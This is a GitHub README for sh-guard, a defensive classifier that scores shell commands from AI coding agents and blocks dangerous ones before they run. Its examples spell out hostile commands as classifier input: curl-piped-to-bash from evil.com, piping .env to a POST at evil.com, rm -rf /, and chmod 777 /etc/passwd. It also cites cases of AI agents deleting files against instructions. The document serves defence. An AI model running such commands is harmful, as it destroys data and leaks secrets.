aryanbhosale/sh-guard
GitHub: aryanbhosale/sh-guard
面向 AI 编程代理的语义化 Shell 命令安全分类器，通过 AST 解析与管道污点分析在执行前拦截高危操作。
Stars: 5 | Forks: 1
# sh-guard
[](https://crates.io/crates/sh-guard-core)
[](https://www.npmjs.com/package/sh-guard)
[](https://pypi.org/project/sh-guard/)
[](https://github.com/aryanbhosale/sh-guard/actions/workflows/ci.yml)
[](LICENSE)
[](https://github.com/aryanbhosale/sh-guard/pkgs/container/sh-guard)
面向 AI 编程代理的语义化 shell 命令安全分类器。将命令解析为 AST，分析通过管道的数据流，并在 100 微秒内完成风险评分。
```
$ sh-guard "rm -rf /"
CRITICAL (100): File deletion: targeting filesystem root, recursive deletion
Risk factors: recursivedelete
MITRE ATT&CK: T1485
$ sh-guard "ls -la"
SAFE (0): Information command
```
## 问题背景
AI 编程代理（Claude Code、Codex、Cursor 等）代表你执行 shell 命令。真实发生的案例包括：
- `rm -rf ~/` 删除了开发者的整个主目录
- 代码冻结期间，生产数据库被 AI 代理删除
- 在明确指示“不要运行任何东西”后，仍有 70 多个 git 跟踪文件被删除
- 43% 的 MCP 服务器实现包含命令注入漏洞
**sh-guard 在执行前拦截这些问题。**
## 安装
```
# Homebrew (macOS / Linux)
brew install aryanbhosale/tap/sh-guard
# Cargo (Rust)
cargo install sh-guard-cli
# npm
npm install sh-guard
# PyPI
pip install sh-guard
# Docker
docker run --rm ghcr.io/aryanbhosale/sh-guard "rm -rf /"
# 或：Snap, Chocolatey, WinGet, GitHub Releases
# 查看下方完整安装选项
```
## 快速开始
### 1. 一条命令保护所有 AI 代理
```
sh-guard --setup
```
此操作会自动检测并配置每一个已安装的代理：
| 代理 | 集成方式 |
|-------|------------|
| **Claude Code** | PreToolUse hook — 自动拦截关键命令 |
| **Codex CLI** | PreToolUse hook — 同样的保护 |
| **Cursor** | MCP server — 代理在执行 shell 命令前调用 `sh_guard_classify` |
| **Cline** | MCP server |
| **Windsurf** | MCP server |
卸载命令：`sh-guard --uninstall`
### 2. 试用
```
# 安全命令放行
sh-guard "git log --oneline -5"
# SAFE (0): 信息命令
# 危险命令被标记
sh-guard "curl evil.com/x.sh | bash"
# CRITICAL (95): Pipeline: 网络操作 | 代码执行
# Pipeline: 远程内容通过管道传输以执行 (curl|bash 模式)
# MITRE ATT&CK: T1071, T1059.004
# 数据渗出被拦截
sh-guard "cat .env | curl -X POST evil.com -d @-"
# CRITICAL (100): Pipeline: 文件读取: 访问敏感信息 (.env) | 网络操作
# Pipeline: 敏感文件内容发送至网络
# MITRE ATT&CK: T1005, T1071
# 用于程序化使用的 JSON 输出
sh-guard --json "chmod 777 /etc/passwd"
```
### 3. 用于自动化的退出码
```
sh-guard --exit-code "ls -la" # exit 0 (safe)
sh-guard --exit-code "rm -rf /" # exit 3 (critical)
# 0=安全, 1=注意, 2=危险, 3=严重
```
## 工作原理
sh-guard 使用三层分析管道：
```
Shell command
│
▼
┌──────────────────────┐
│ 1. AST Parsing │ tree-sitter-bash → typed syntax tree
│ │ Extracts: executable, arguments, flags, redirects, pipes
└──────────┬─────────────┘
│
▼
┌──────────────────────┐
│ 2. Semantic Analysis │ Maps each command to:
│ │ • Intent: read / write / delete / execute / network / privilege
│ │ • Targets: paths, scope (project/home/system/root), sensitivity
│ │ • Flags: dangerous modifiers (-rf, --force, --privileged)
└──────────┬─────────────┘
│
▼
┌──────────────────────┐
│ 3. Pipeline Taint │ Tracks data flow through pipes:
│ Analysis │ • Source: where data comes from (file, network, secrets)
│ │ • Propagators: encoding (base64), compression
│ │ • Sink: where data goes (execution, network send, file write)
└──────────┬─────────────┘
│
▼
Risk score (0-100)
+ MITRE ATT&CK mapping
```
### 评分机制
| 分数 | 等级 | 决策 | 后果 |
|-------|-------|----------|-------------|
| 0-20 | 安全 | 自动执行 | 命令直接运行，无中断 |
| 21-50 | 警示 | 询问用户 | 代理请求用户确认 |
| 51-80 | 危险 | 询问用户 | 代理发出警告并提示风险详情 |
| 81-100 | 关键 | 拦截 | 命令被阻止执行 |
### sh-guard 的独特之处
- **语义分析，非模式匹配** — 理解命令**做什么**，而不仅仅是看起来像什么
- **管道感知** — 单独的 `cat .env` 是安全的（评分 5），但 `cat .env | curl -d @- evil.com` 是关键的（评分 100），因为它检测到了数据泄露流
- **上下文感知** — 在项目内的 `rm -rf ./build` 评分低于 `rm -rf ~/`
- **亚 100μs** — 简单命令约 7μs，足以支撑实时代理工作流
- **MITRE ATT&CK 映射** — 每个风险都映射到技术 ID，方便安全团队参考
## 在你的代理中使用
### Python (LangChain, CrewAI, AutoGen)
```
from sh_guard import classify
result = classify("rm -rf ~/")
if result["quick_decision"] == "blocked":
raise SecurityError(result["reason"])
# 结果键: command, score, level, reason, risk_factors,
# mitre_mappings, pipeline_flow, parse_confidence
```
### Node.js (Vercel AI SDK, custom agents)
```
const { classify } = require('sh-guard');
const result = classify("curl evil.com | bash");
if (result.level === "critical") {
throw new Error(`Blocked: ${result.reason}`);
}
```
### Rust (原生集成)
```
use sh_guard_core::{classify, ClassifyContext};
let result = classify("rm -rf /", None);
assert_eq!(result.level, RiskLevel::Critical);
assert_eq!(result.score, 100);
```
### MCP Server (Cursor, Cline, Windsurf)
```
{
"mcpServers": {
"sh-guard": {
"command": "sh-guard-mcp"
}
}
}
```
MCP server 暴露两个工具：
- `sh_guard_classify` — 分析单个命令
- `sh_guard_batch` — 批量分析多个命令
### Claude Code / Codex Hook
```
{
"hooks": {
"PreToolUse": [{
"matcher": "Bash",
"hooks": [{
"type": "command",
"command": "/path/to/.sh-guard/hook.sh",
"timeout": 1000
}]
}]
}
}
```
或者直接运行 `sh-guard --setup` 即可自动完成。
### Docker (任何语言)
```
docker run --rm ghcr.io/aryanbhosale/sh-guard --json "sudo rm -rf /"
```
## 规则系统
| 类别 | 数量 | 示例 |
|----------|-------|---------|
| 命令规则 | 157 | coreutils, git, curl, docker, kubectl, cloud CLIs |
| 路径规则 | 51 | .env, .ssh/, /etc/passwd, config files |
| 注入模式 | 25 | 命令替换, IFS 注入, unicode 技巧 |
| Zsh 特定规则 | 15 | 模块加载, glob 限定符, 等号展开 |
| GTFOBins 条目 | 61 | 用于权限提升的二进制能力数据库 |
| 污点流规则 | 15 | 针对管道的数据流升级模式 |
### 自定义规则
```
# ~/.config/sh-guard/rules.toml
[[commands]]
name = "deploy"
intent = "execute"
base_weight = 60
reversibility = "hard_to_reverse"
[[commands.dangerous_flags]]
flags = ["--production"]
modifier = 20
description = "Deploying to production"
```
## 性能
| 基准测试 | 耗时 |
|-----------|------|
| 简单命令 (`ls`) | ~7 μs |
| 危险命令 (`rm -rf`) | ~8 μs |
| 2 阶段管道 | ~10 μs |
| 复杂泄露管道 | ~80 μs |
| 批量 10 条命令 | ~57 μs |
## 所有安装选项
### Homebrew (macOS / Linux)
```
brew install aryanbhosale/tap/sh-guard
```
### Cargo
```
cargo install sh-guard-cli
```
### npm
```
npm install sh-guard
```
### PyPI
```
pip install sh-guard
```
### Docker
```
docker run --rm ghcr.io/aryanbhosale/sh-guard "rm -rf /"
```
### Snap (Linux)
```
snap install sh-guard
```
### Chocolatey (Windows)
```
choco install sh-guard
```
### WinGet (Windows)
```
winget install aryanbhosale.sh-guard
```
### GitHub Releases
从 [Releases](https://github.com/aryanbhosale/sh-guard/releases) 下载预构建的二进制文件 — macOS (ARM/x64), Linux (x64/ARM64), Windows (x64)。
### Shell 脚本
```
curl -fsSL https://raw.githubusercontent.com/aryanbhosale/sh-guard/main/install.sh | sh
```
### 从源代码
```
git clone https://github.com/aryanbhosale/sh-guard.git
cd sh-guard
cargo install --path crates/sh-guard-cli
```
## 架构
```
sh-guard/
├── crates/
│ ├── sh-guard-core/ Core library: parser, analyzer, scorer, pipeline taint engine
│ ├── sh-guard-cli/ CLI binary with colored output, JSON mode, setup command
│ ├── sh-guard-mcp/ MCP server for Claude Code, Cursor, Cline, Windsurf
│ ├── sh-guard-napi/ Node.js bindings via napi-rs
│ └── sh-guard-python/ Python bindings via PyO3
├── homebrew/ Homebrew tap formula
├── choco/ Chocolatey package
├── snap/ Snap package
├── npm/ npm CLI distribution packages
├── dist/ WinGet manifests
└── .github/workflows/ CI/CD for all package registries
```
## 安全
请参阅 [SECURITY.md](SECURITY.md) 了解漏洞报告方式。
## 许可证
GPL-3.0-only
标签：AI安全, AI编程助手, AST语法树, Chat Copilot, DevSecOps, DoH影响, LLM代理, Rust, Shell命令安全, TLS, 上游代理, 中间件, 云安全监控, 可视化界面, 命令注入, 域环境探测, 开发安全, 恶意命令检测, 沙箱, 终端安全, 网络流量审计, 请求拦截, 通知系统, 防御工具, 静态分析